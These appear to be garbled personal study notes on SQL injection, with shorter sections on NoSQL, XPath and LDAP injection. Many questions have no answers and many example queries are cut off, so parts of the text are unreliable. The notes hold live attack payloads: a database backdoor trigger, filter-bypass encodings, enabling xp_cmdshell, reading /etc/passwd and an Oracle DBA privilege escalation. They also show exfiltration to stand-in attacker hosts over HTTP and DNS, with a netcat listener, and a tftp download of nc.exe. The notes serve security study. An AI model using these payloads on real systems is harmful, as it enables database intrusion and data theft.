Cyber Security Notes
Cyber Security Notes
Cyber Security Notes
for example, we have two columns in our salaries table and among 2 one is salary and other is.
*************************************************************************************
Note:
2- -- sign commit extra things in original query except our own manufactured query.
*************************************************************************************
select userid, password,ssn,salary,email from employee where userid=101 union update employee set
salary=99999 where userid=101; --
Note: you can see that there are two SQL statements one is select and other is update. They both run at
the same time to execute attack on DB using union keyword.
*************************************************************************************
Q: - How to Create Database Back Door Attacks?
Database backdoor often works with trigger but keep in mind not every Database support triggers. Now
the question is how to create such trigger. We can create trigger but keep it in mind that first you have
to know which column is more vulnerable. In this case email is our most vulnerable column because on
this base whenever new user will be created email of attacker will be updated with the new user email.
To create a Database trigger, you need to inject the following SQL:
101';CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
employee SET email='[email protected]'WHERE userid = NEW.userid
*************************************************************************************
Q: - How to check number of columns in Database SQL?
*************************************************************************************
Q: - How to check whether the column datatype is string or integer SQL?
*************************************************************************************
Q: - How to check number of columns in oracle?
In oracle we can check number of columns easily but oracle always use 'from' clause with select
statement. So, we use DUAL table for this purpose. DUAL is globally accessible table in oracle.
*************************************************************************************
Q: - How to detect DB version in oracle using version string?
*************************************************************************************
Q: - How to get 4th number table from the sys.tables list?
(select top 1 name from sys.tables where object_id=( select top 1 object_id from
This query include 2 sub-queries and number 2 sub-query will generate only 1 table which is located at
4th position. First query in which column "name" is mentioned will run at the end to get the column
name only. Here "sq" is just alias nothing else, and same technique will be used for column fetching let’s
try it.
(select top 1 name from sys.columns where object_id=(select top 1 object_id from
*************************************************************************************
Q: - How to detect blind SQL injection?
We can detect blind SQL injection by Boolean method I mean yes or no method.
then powerkw
& asc=false
in this query it is stated that user is asking a question whether count of sys.tables is equal to 8 or not and
we used if(when), else statement in this query.
we can also use > sign or < sign because it is simply yes or no injection.
*************************************************************************************
Q: - How to get the name of the first table using blind SQL injection?
then powerkw
&asc=false
*************************************************************************************
Q: - How to get to know the name of the first table by guess only?
We can use alphabet check and will use substring to check the first letter of the first table in the
Database.
then powerkw
&asc=false
name is the column name where 1 is the first letter and next 1 mean take one character which means it
will check only first letter of the table.
*************************************************************************************
-------------------------------------------------------------------------------------------------
0100111 27 39 ‘ Apostrophe
0101010 2A 42 * Asterisk
0101100 2C 44 , Comma
0101101 2D 45 - Dash
0110000 30 48 0
0110001 31 49 1
0110010 32 50 2
0110011 33 51 3
0110100 34 52 4
0110101 35 53 5
0110110 36 54 6
0110111 37 55 7
0111000 38 56 8
0111001 39 57 9
0111010 3A 58 : Colon
0111011 3B 59 ; Semicolon
1000000 40 64 @ At Symbol
1000001 41 65 A
1000010 42 66 B
1000011 43 67 C
1000100 44 68 D
1000101 45 69 E
1000110 46 70 F
1000111 47 71 G
1001000 48 72 H
1001001 49 73 I
1001010 4A 74 J
1001011 4B 75 K
1001100 4C 76 L
1001101 4D 77 M
1001110 4E 78 N
1001111 4F 79 O
1010000 50 80 P
1010001 51 81 Q
1010010 52 82 R
1010011 53 83 S
1010100 54 84 T
1010101 55 85 U
1010110 56 86 V
1010111 57 87 W
1011000 58 88 X
1011001 59 89 Y
1011010 5A 90 Z
1011110 5E 94 ^ Circumflex
1011111 5F 95 _ Underscore
1100001 61 97 a
1100010 62 98 b
1100011 63 99 c
1100100 64 100 d
1100101 65 101 e
1100110 66 102 f
1100111 67 103 g
1101000 68 104 h
1101001 69 105 i
1101010 6A 106 j
1101011 6B 107 k
1101100 6C 108 l
1101101 6D 109 m
1101110 6E 110 n
1101111 6F 111 o
1110000 70 112 p
1110001 71 113 q
1110010 72 114 r
1110011 73 115 s
1110100 74 116 t
1110101 75 117 u
1110110 76 118 v
1110111 77 119 w
1111000 78 120 x
1111001 79 121 y
1111010 7A 122 z
*************************************************************************************
then powerkw
&asc=false
Here ascii is Database keyword and lower is also a Database keyword. ascii keyword will used to detect
ascii character number and lower keyword will be used to change the cap to lower case. Here 119='w'
character. Now we have got the first character of table. Let’s guess the 2nd character.
then powerkw
&asc=false
So, we got 108='l' now we have two characters in our list 'wl'. Let’s try next guess.
then powerkw
&asc=false
and we got another letter which is 98='b' now we have three letters in our bucket 'wlb'.
*************************************************************************************
select is_rolemember('DB_datareader')
select is_rolemember('DB_datawriter')
select is_rolemember('DB_owner')
*************************************************************************************
First, we have to compromise the security of the SQL server and then
----------------------------------------------------------------------------------
exec 'xp_cmdshell' , 1
reconfigure
---------------------------------
sometimes this command cannot execute directly in web browser because ping command
will return 12 row or less than that. So, we write this record in txt file.
----------------------------------------------------------------------------------
--------------------------------------------------------
*************************************************************************************
Some input validation routines employ a simple blacklist and either block or remove any supplied data
that appears on this list. In this instance, you should try the standard attacks. For example, website
owner has blacklisted the word "SELECT" now we will counter this issue like this.
SeLeCt
%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
*************************************************************************************
If the application blocks or strips spaces from your input, you can use comments (/*you can write
anything here*/) to simulate whitespace within your injected data. For example:
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
*************************************************************************************
Q: - Write down syntax, if user encounter space issue and keyword issue at the same time?
which provides another means of bypassing some input validation filters while
*************************************************************************************
On older Databases such as MS-SQL 2000 and earlier, the OpenRowSet command can be used to open a
connection to an
external Database and insert arbitrary data into it. For example, the following query causes the target
Database to open a connection to the attacker’s Database and insert the version string of the target
Database into the table called foo.
‘DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein’,
*************************************************************************************
The UTL_HTTP package can be used to make arbitrary HTTP requests to other
hosts. UTL_HTTP contains rich functionality and supports proxy servers, cookies,
redirects, and authentication. This means that an attacker who has compromised
/employees.asp?EmpNo=7521’||UTL_HTTP.request(‘mdattacker.net:80/’||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
This URL causes UTL_HTTP to make a GET request for a URL containing the
first username in the table all_users . The attacker can simply set up a netcat
C:\>nc -nLp 80
Host: mdattacker.net
Connection: close
*************************************************************************************
Q: - What is the alternative approach if utl_http does not work in cooperate networks due to firewall
implementation?
Here UTL_INADDR package is designed to be used to resolve hostnames to IP addresses. It can be used
to generate arbitrary DNS queries to a server con-trolled by the attacker. In many situations, this is more
likely to succeed than the UTL_HTTP attack, because DNS traffic is often allowed out through corporate
firewalls even when HTTP traffic is restricted. The attacker can leverage this package to perform a
lookup on a hostname of his choice, effectively retrieving arbitrary data by prepending it as a subdomain
to a domain name he controls.
For example:
/employees.asp?EmpNo=7521’||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME=’SYS’)||’.mdattacker.net’)
*************************************************************************************
The UTL_SMTP package can be used to send e-mails. This facility can be used
to retrieve large volumes of data captured from the Database by sending this
in outbound e-mails.
The UTL_TCP package can be used to open arbitrary TCP sockets to send and
*************************************************************************************
In this technique Database query would cause a time delay, contingent on some condition specified by
the attacker. The attacker can submit his query and then monitor the time taken for the server to
respond. If a delay occurs, the attacker may infer that the condition is true. Even if the actual content of
the application’s response is identical in the two cases; the presence or absence of a time delay enables
the attacker to extract a single bit of information from the Database. By performing numerous such
queries, the attacker can systematically retrieve arbitrarily complex data from the Database one bit at a
time.
*************************************************************************************
MS-SQL contains a built-in WAITFOR command, which can be used to cause a specified time delay. For
example, the following query causes a time delay of 5 seconds if the current Database user is sa:
*************************************************************************************
Q: - How we can use ASCII and Substring functions to get data from Database using time delay
technique?
*************************************************************************************
MS SQL Server: -
MySQL (version<5.0.12): -
MySQL (version>5.0.12): -
PostgreSQL: -
the PG_SLEEP function can be used in the same way as the MySQL sleep function
Oracle: -
has no built-in method to perform a time delay, but you can use other tricks to cause a time delay to
occur. One trick is to use UTL_HTTP
connect to a nonexistent server, causing a timeout. This causes the Database to attempt to connect to
the specified server and eventually
...delay...
ORA-12545: Connect failed because target host or object does not exist.
You can leverage this behavior to cause a time delay contingent on some condition that you specify. For
example, the following query causes a timeout if the default Oracle account DBSNMP exists:
*************************************************************************************
Oracle: -
MySQL, PostgreSQL: -
information_schema.tables,information_schema.columns
SQLite: -
SQLite_master
MS SQL Server: -
*************************************************************************************
Q: - What if you wouldn't alter where clause or issue a union query after an order by clause?
It is not possible to alter the WHERE clause, or issue a UNION query after an ORDER
BY clause; however, an attacker can create an inference condition by issuing the following statement:
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20 (select
%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')
If the first letter of the first object name in the user_objects table is equal to 'Y', this will cause the
Database to attempt to evaluate 1/0. This will result in an error, and no results will be returned by the
overall query. If the letter is not equal to 'Y', results from the original query will be returned in the
default order
*************************************************************************************
Q: - How many ways are there to exploit Database without SQL injection?
> If the Database is shared with other applications, you may be able to escalate privileges within the
Database and gain access to other applications' data.
> You may be able to compromise the operating system of the Database server.
> You may be able to gain network access to other systems. Typically, the Database server is hosted on a
protected network behind several layers of network perimeter defenses. From the Database server, you
may be in a trusted position and be able to reach key services on other hosts, which may be further
exploitable.
> You may be able to make network connections back out of the hosting infrastructure to your own
computer. This may enable you to bypass the application, easily transmitting large amounts of sensitive
data gathered from the Database, and often evading many intrusion detection systems.
> You may be able to extend the Database’s existing functionality in arbitrary ways by creating user-
defined functions. In some situations, this may enable you to circumvent hardening that has been
performed on the Database by effectively reimplementing functionality that has been removed or
disabled. There is a method for doing this in each of the mainstream Databases, provided that you have
gained Database administrator (DBA) privileges.
*************************************************************************************
There are two main commands which can be used to access victim system via MS SQL.
1- xp-regread
2- xp_regwrite
MS-SQL contains a wealth of other extended stored procedures, such as xp_regread and xp_regwrite,
that can be used to perform powerful actions within the registry of the Windows operating system.
*************************************************************************************
*************************************************************************************
Oracle contains many built-in stored procedures that execute with DBA privileges and have been found
to contain SQL injection flaws within the procedures themselves. A typical example of such a flaw
existed in the default package SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES prior to
the July 2006 critical patch update. This can be exploited to escalate privileges by injecting the query
grant DBA to public into the vulnerable field:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH',
'TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1);
execute immediate ''declare pragma autonomous_transaction; begin execute immediate
This type of attack could be delivered via a SQL injection flaw in a web application by injecting the
function into the vulnerable parameter.
*************************************************************************************
Although MySQL contains relatively little built-in functions but We can use some of its built-in functions
to access victim's PC.
FILE_PRIV:This built-in function provide the ability to any user to read and write to the file system.
LOAD_FILE: This command can be used to retrieve the contents of any file for example.... select
load_file('/etc/passwd')
OUTFILE: The SELECT ... INTO OUTFILE command can be used to pipe the results of any query into a file.
For example:
create table test (a varchar(200)) insert into test(a) values ('+ +')
*************************************************************************************
Q: - Write ASCII and SUBSTRING syntax for Oracle, MSSQL and MySQL?
*************************************************************************************
Q: - Write Retrieve current Database user syntax for Oracle, MSSQL and MySQL?
Oracle: Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV',
'SESSION_USER')
*************************************************************************************
Q: - Write Cause a time delay syntax for Oracle, MSSQL and MySQL?
Oracle: Utl_Http.request('http://madeupserver.com')
MySQL: sleep(100)
*************************************************************************************
Q: - Write Retrieve Database version string syntax for Oracle, MSSQL and MySQL?
*************************************************************************************
Q: - Write Retrieve current Database syntax for Oracle, MSSQL and MySQL?
MSSQL: SELECT DB_name(). The server name can be retrieved using: SELECT @@servername
*************************************************************************************
Q: - Write Retrieve current user's privilege syntax for Oracle, MSSQL and MySQL?
*************************************************************************************
Q: - Write Show all tables and columns in a single column of results syntax for Oracle, MSSQL and
MySQL?
*************************************************************************************
Q: - Write Show user objects syntax for Oracle, MSSQL and MySQL?
*************************************************************************************
Q: - Write Show user tables syntax for Oracle, MSSQL and MySQL?
Or to show all tables to which the user has access: SELECT table_name FROM all_tables
MSSQL: SELECT name FROM sysobjects WHERE xtype='U'
*************************************************************************************
Q: - Write Show column names for table foo syntax for Oracle, MSSQL and MySQL?
Use the ALL_tab_columns table if the target data is not owned by the current application user.
*************************************************************************************
Q: - Write Interact with the operating system (simplest ways) syntax for Oracle, MSSQL and MySQL?
*************************************************************************************
MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server
version for the right syntax to use near ''foo' at line X
Translation: For Oracle and MS-SQL, SQL injection is present, and it is almost certainly exploitable! If you
entered a single quote and it altered the syntax of the Database query, this is the error you’d expect. For
MySQL, SQL injection may be present, but the same error message can appear in other contexts.
*************************************************************************************
Q: - State error message related to parameters for Oracle, MSSQL and MySQL?
MSSQL: Procedure 'XXX' expects parameter '@YYY', which was not supplied
Translation: You have commented out or removed a variable that normally would be supplied to the
Database. In MS-SQL, you should be able to use time delay techniques to perform arbitrary data
retrieval.
*************************************************************************************
Q: - State error message related to UNION SELECT for Oracle, MSSQL and MySQL?
All queries in a SQL statement containing a UNION operator must have an equal number of expressions
in their target lists.
Translation: You will see this when you are attempting a UNION SELECT attack, and you have specifi ed a
different data type from that found in the original SELECT statement. Try using a NULL, or using 1 or
2000.
*************************************************************************************
Q: - State error message related to UNION SELECT data type for Oracle, MSSQL and MySQL?
Syntax error converting the varchar value ‘foo’ to a column of data type int.
Translation: Your input doesn’t match the expected data type for the field. You may have SQL injection,
and you may not need a single quote, so try simply entering a number followed by your SQL to be
injected. In MS-SQL, you should be able to return any string value with this error message.
*************************************************************************************
Q: - How to tackle “From” keyword not found where expected for Oracle, MSSQL and MySQL?
Oracle: ORA-00923: FROM keyword not found where expected so we can use this query to tackle this
error in ORACLE (SELECT 1 from DUAL)
MSSQL: N/A
MySQL: N/A
SELECT 1
But in Oracle, if you want to return something, you must select from a table. The DUAL table will do fine:
*************************************************************************************
Q: - What error came when injection point occurs before the FROM keyword for Oracle, MSSQL and
MySQL?
MSSQL: Msg 156, Level 15, State 1, Line 1Incorrect syntax near the keyword 'from'.
MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server
version for the right syntax to use
Translation: You commonly see this error message when your injection point occurs before the FROM
keyword (for example, you have injected into the columns to be returned) and/or you have used the
comment character to remove required SQL keywords. Try completing the SQL statement yourself while
using your comment character. MySQL should helpfully reveal the column names XXX, YYY when this
condition is encountered.
*************************************************************************************
Q: - How to identify long string error for Oracle, MSSQL and MySQL?
MySQL: N/A
Translation: This does not indicate SQL injection. You may see this error message if you have entered a
long string. You’re unlikely to get a buffer overflow here either, because the Database is handling your
input safely.
*************************************************************************************
Q: - What error will appear when we try to fetch table or view that doesn't exists for Oracle, MSSQL
and MySQL?
MS-SQL: Msg 208, Level 16, State 1, Line 1 Invalid object name 'foo'
Translation: Either you are trying to access a table or view that does not exist, or, in the case of Oracle,
the Database user does not have privileges for the table or view. Test your query against a table you
know you have access to, such as DUAL. MySQL should helpfully reveal the current Database schema
DBNAME when this condition is encountered.
*************************************************************************************
MSSQL: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo
MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server
version for the right syntax to use near '' at line 1
Translation: You were probably altering something in a WHERE clause, and your SQL injection attempt
has disrupted the grammar.
*************************************************************************************
MSSQL: N/A
MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server
version for the right syntax to use near '' at line 1
Translation: Your SQL injection attempt has worked, but the injection point was inside parentheses. You
probably commented out the closing parenthesis with injected comment characters (--).
*************************************************************************************
MS-SQL: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo
MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL
server version for the right syntax to use near XXXXXX
Translation: A general error message. The error messages listed previously all take precedence, so
something else went wrong. It’s likely you can try alternative input and get a more meaningful message.
*************************************************************************************
Q: - What does it mean by unimplemented feature for Oracle, MSSQL and MySQL?
MS-SQL: N/A
MySQL: N/A
Translation: You have tried to perform an action that Oracle does not allow. This can happen if you were
trying to display the Database version string from v$version but you were in an UPDATE or INSERT
query.
*************************************************************************************
Q: - How to catch SYSTEM VIEW error for Oracle, MSSQL and MySQL?
MS-SQL: N/A
MySQL: N/A
Translation: You were probably trying to edit a SYSTEM view. This can happen if you were trying to
display the Database version string from v$version but you were in an UPDATE or INSERT query.
*************************************************************************************
if a robust stored procedure is being used, SQL injection vulnerabilities can arise if it is invoked in an
unsafe way using user-supplied input. For example, suppose that a user registration function is
implemented within a stored procedure, which is invoked as follows:
exec sp_RegisterUser 'joe', 'secret'
This statement may be just as vulnerable as a simple INSERT statement. For example, an attacker may
supply the following password:
exec sp_RegisterUser 'joe', 'foo'; exec master..xp_cmdshell 'tftp wahh-attacker.com GET nc.exe'--'
*************************************************************************************
In JavaScript, a double forward slash (//) signifies a rest-of-line comment, so the remaining code in the
function is commented out.
for example:
*************************************************************************************
Q: - What is the alternating way to check whether JavaScript code is returning true value or not in
MongoDB code?
An alternative means of ensuring that the $js function always returns true, without using a comment,
would be to supply a username of:
This results in all of the resources in the user collection being matched, since the fi rst disjunctive
condition is always true (1 is always equal to 1).
*************************************************************************************
<addressBook>
<address>
<firstName>William</firstName>
<surname>Gates</surname>
<password>MSRocks!</password>
<email>[email protected]</email>
</address>
<address>
<firstName>Chris</firstName>
<surname>Dawes</surname>
<password>secret</password>
<email>[email protected]</email>
</address>
</addressBook>
A query to return all the details of the user Dawes would look like this:
//address[surname/text()='Dawes']
The following XPath query effectively verifies the user-supplied credentials and retrieves the relevant
user’s credit card number:
In this case, an attacker may be able to subvert the application's query in an identical way to a SQL
injection flaw. For example, supplying a password with this value:
' or 'a'='a
results in the following XPath query, which retrieves the credit card details of all users:
Note: // these 2 slashes mean that it Selects nodes in the document from the current node that match
the selection no matter where they are.
*************************************************************************************
The Lightweight Directory Access Protocol (LDAP) is used to access directory services over a network.
Types of LDAP:
Match on the value of a single attribute. For example, an application function that searches for a user via
his username might use this filter:
(username=daf)
2- Disjunctive queries:
Specify multiple conditions, any one of which must be satisfied by entries that are returned. For
example, a search function that looks up a user-supplied search term in several directory attributes
might use this filter:
(|(cn=searchterm)(sn=searchterm)(ou=searchterm))
3- Conjunctive queries:
Specify multiple conditions, all of which must be satisfied by entries that are returned. For example, a
login mechanism implemented in LDAP might use this filter:
(&(username=daf)(password=secret)